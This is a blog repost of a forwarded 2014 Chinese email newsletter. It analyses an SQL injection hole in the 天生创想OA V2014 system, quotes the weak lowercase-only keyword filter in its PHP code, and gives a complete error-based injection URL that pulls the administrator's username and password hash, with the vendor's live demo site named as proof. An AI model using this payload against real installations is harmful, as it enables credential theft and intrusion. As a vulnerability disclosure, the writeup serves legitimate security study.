无图美人的财富牧场: Fwd: 天生创想OA系统SQL注入漏洞分析+官网演示

---------- 转发的邮件 ----------
发件人："黑客技术" <hackdig@foxmail.com>
日期：2014年5月19日下午12:25
主题：天生创想OA系统SQL注入漏洞分析+官网演示
收件人： <sunkeel@gmail.com>
抄送：

本邮件内容由第三方提供，如果您不想继续收到该邮件，可点此退订。

天生创想OA系统SQL注入漏洞分析+官网演示 阅读原文»

天生创想OA V2014

/administrative/mod_conference.php，84-94行处

elseif ($do == 'keys') {



$id = getGP('id','G');

$type = getGP('type','G');

$db->query("update ".DB_TABLEPRE."conference set type='".$type."' where id=".$id." ");
  
$content=$id;

$title='审批会议内容';

get_logadd($id,$content,$title,19,$_USER->id);

show_msg('会议信息审批成功！', 'admin.php?ac='.$ac.'&fileurl='.$fileurl.'');
  


}

$id通过getGP()函数获得，这个函数在/include/function_global.php，293-307行处

//获取$_GET或$_POST值

function getGP($var, $method = 'GP', $type = 'string') {
  
if ($method == 'G' || $method != 'P' && isset($_GET[$var])) {

$gp = &$_GET;

} else {

$gp = &$_POST;

}

if ($type == 'int') {

return isset($gp[$var]) ? intval($gp[$var]) : 0;
  
} elseif ($type == 'array') {

return isset($gp[$var]) ? (array)getsql($gp[$var]) : array();

} else {

return isset($gp[$var]) ? (string)trim(getsql($gp[$var])) : '';

}

  }

可以看出来最后是通过getsql()函数获得，在/include/function_global.php，278-291行处

function getsql($str){

  $str=str_replace('select','',$str);

      $str=str_replace('join','',$str);
  
      $str=str_replace('union','',$str);

      $str=str_replace('where ','',$str);

      $str=str_replace('insert','',$str);

      $str=str_replace('delete','',$str);
  
      $str=str_replace('and ','',$str);

      $str=str_replace('drop','',$str);

      $str=str_replace('create','',$str);

      $str=str_replace('script','',$str);
  
      $str=str_replace('alert','',$str);

  return $str;

}

明显发现过滤的很薄弱，过滤之前没有做大小写转换，只过滤了小写的单词，稍微变换下就可以绕过。

利用方法：登陆一个普通帐户，访问如下页面

http://网站地址/admin.php?ac=conference&fileurl=administrative&do=keys&id=(Select 1 from (Select count(*),concat((Select concat(username,0x3a,password) from po_user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)&type=2

就可以得到管理员帐号及密码的密文

漏洞证明：

官网演示http://oa.515158.com/

PS：官网将所有表前面加了前缀"p"